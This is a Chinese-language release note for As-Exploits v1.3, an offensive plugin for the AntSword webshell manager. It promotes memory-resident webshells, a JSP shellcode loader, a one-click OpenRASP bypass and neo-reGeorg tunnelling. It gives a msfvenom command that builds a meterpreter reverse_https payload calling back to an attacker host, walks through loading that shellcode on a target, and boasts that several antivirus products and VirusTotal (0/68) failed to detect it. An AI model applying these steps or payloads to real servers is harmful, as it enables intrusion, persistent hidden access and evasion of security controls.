As-Exploits v1.3更新
更新主要内容
注：需要将蚁剑更新至v2.1.12
v 1.3 (2021/5/14)
-
equals支持数组传参方式，兼容各种容器
-
jsp新增 ShellCode加载器模块，内置两种分别基于jna跟java agent的shellcode加载方式
-
jsp新增 Bypass OpenRASP 模块，thx@Godzilla
-
JarLoader模块 新增手动上传方式，解决因Tomcat最大POST长度为2m导致无法加载内存Jar的问题
-
reGeorg内存马改为更稳定的neo-reGerog，默认密码：asexploits
-
冰蝎内存马支持3.7，去除pageContext依赖，兼容Spring等容器
-
各模块兼容JDK5
挑几个重点的说说
Shell入口参数支持数组形式
Shell入口参数即下面new Object[]{request,response}的部分。
<%
至于为什么要改这个玩意要从内存马的兼容说起。
除了由于写法问题而导致的各种乱七八糟的问题以外，连接内存马的一个主要问题是冰蝎在入口处采用了pageContext这个类来获取request response session对象。但是以filter型内存马为例，doFilter中三个参数分别是ServletRequest，ServletResponse，FilterChain，并不存在pageContext这个东西，并且在SpringBoot这种容器里根本没有pageContext这个类。
于是就有很多师傅提出了自己的解决办法，大体分为三种：
-
自己声明一个pageContext类，在里面实现对应的request跟response的getter setter。冰蝎改造之不改动客户端=>内存马。
-
改写冰蝎的入口为request+response，不再采用pageContext作为入口。但是弊端就是不能再用equals了，要重新写一个方法用反射调用。冰蝎改造之适配基于tomcat Filter的无文件webshell - 先知社区 (aliyun.com)
-
采用蚁剑原来的Custom模式，把恶意函数直接通过字节码打进去，然后通过方法名调用。不过由于直接编译恶意函数的字节码较大会超过最大长度限制，一般要先写入目标然后配合URLClassLoader才能使用。使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell - 先知社区 (aliyun.com)
以上的这些方法可以是可以，但是不够优雅。
回想我们最开始的问题，为什么要用pageContext，是为了拿到当前请求的上下文，更精确一点就是输入输出：request,response。request是接收参数，response是回显，两者缺一不可。
后来自己调试的时候发现在request中本身就包含了当前的response，同样response中也包含了当前的request。
当时就想着我shell中传个request，然后在payload里面利用反射把requst里面的response取出来，或者response里面的request取出来不就完事了？
这样确实可以，在2020年9月4日，勤劳的我一大早就起来写了一波代码，然后发了上去，commit记录可以证明我没有瞎bb。当时蚁剑算是最早兼容内存马的。
因为Tomcat喜欢用门面模式，所以要反射两层，结果后来发现在WebLogic下用不了了，因为WebLogic不喜欢搞门面模式，只需要反射一层就够了。
行吧，那我就再加一种情况，在JSP V1.4版本又增加了一层反射的情况。
本来以为没事了，后来又发现在有shiro的情况下打一个servlet内存马进去，这时候去连接内存马需要反射三次？？
WTF？？？
然后意识到，这种case by case的解决方式是不行的，世界上还有那么多种Web容器中间件，不可能一个一个去调吧。
所以为了彻底解决这个问题，在520师傅的建议下采用了数组的方式将两者直接传进去，把分析的逻辑放在打内存Shell的时候去做，而不在payload里面去做。
现在冰蝎跟哥斯拉也都有了相应的机制，思路大体是一样的，感兴趣的小伙伴可以自己研究一下。
JarLoader模块新增手动上传方式
内存加载
直接通过HTTP包将Jar打入目标内存，仅需选择本地需要上传的Jar文件即可，期间文件不落地。但是Tomcat默认POST最大上传大小为2M，如果超过了此大小请选择手动上传模式。
手动上传
先手动将Jar上传到目标服务器上，然后通过路径加载。
JSP ShellCode加载器
内置两种加载方式，使用之前请务必认真阅读使用说明，否则可能直接将Java进程打挂。
需要注意两点：
-
使用MSF需要加上
PrependMigrate=true PrependMigrateProc=xxxx.exe参数，自动迁移到新的进程，否则会在migrate/exit的时候把Java进程给干掉，导致网站瘫痪。例如： -
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.88.129 LPORT=8888 PrependMigrate=true PrependMigrateProc=svchost.exe -f hex -
JNA方式只需要X86类型的ShellCode即可，而Attach方式需要根据目标Java位数来选择对应的ShellCode。
JNA方式
利用第三方库JNA进行ShellCode的加载。
适用范围：JDK>=1.5
正确操作
-
首先利用Jar加载器将
ShellCodeLoader.jar上传到目标服务器目录并加载。 -
使用MSF或者CS生成x86类型的shellcode，并开启监听。
-
在ShellCode加载器模块，输入hex或者java格式的shellcode，且不能有多余换行跟空格。
-
点击exploit，等待返回回话。
JNA方式测试
装了360，火绒，电脑管家
上传插件ext目录下的ShellcodeLoader.jar到目标服务器，然后复制文件路径
手动加载到JVM中
MSF生成Shellcode
选择JNA方式，exploit!
直接上线，杀软没有拦截
关于jna会生成一个临时文件的问题，发现确实会生成一个dll临时文件在Tomcat临时目录下
但是扫了一下发现是免杀的
VT检测结果0/68，也就是说落地也问题不大。
不过可能这篇文章出来之后就没了
Attach
模拟java agent注入过程来实现Shellcode的加载。这个native方法是jdk自带的，并且经过oracle签名的，理论上免杀效果更好。
适用范围：JDK>=1.6
正确操作
-
基本信息，exploit，Ctrl+F 搜索
sun.arch.data.model，查看java位数 -
根据java位数生成对应位数的shellcode，并开启监听。
-
在ShellCode加载器模块，输入hex或者java格式的shellcode，且不能有多余换行跟空格。
-
点击exploit，等待返回回话。
Attach方式测试
发现是64位java
CS生成对应位数的shellcode，选择java格式导出。
粘贴到插件中，在exploit的一刻会自动格式化为hex
直接上线，杀软没有拦截。
一键Bypass OpenRASP
借鉴自哥斯拉的插件：Godzilla-BypassOpenRasp
一键绕过OpenRASP
目标安装有OpenRASP且开启命令执行拦截
exploit!
再次运行，即可执行命令
其他
-
reGeorg内存马改为更稳定的neo-reGerog，默认密码：asexploits
-
冰蝎内存马去除pageContext依赖，兼容Spring等容器
-
各模块兼容JDK5
项目地址
https://github.com/yzddmr6/As-Exploits
来颗star吧~
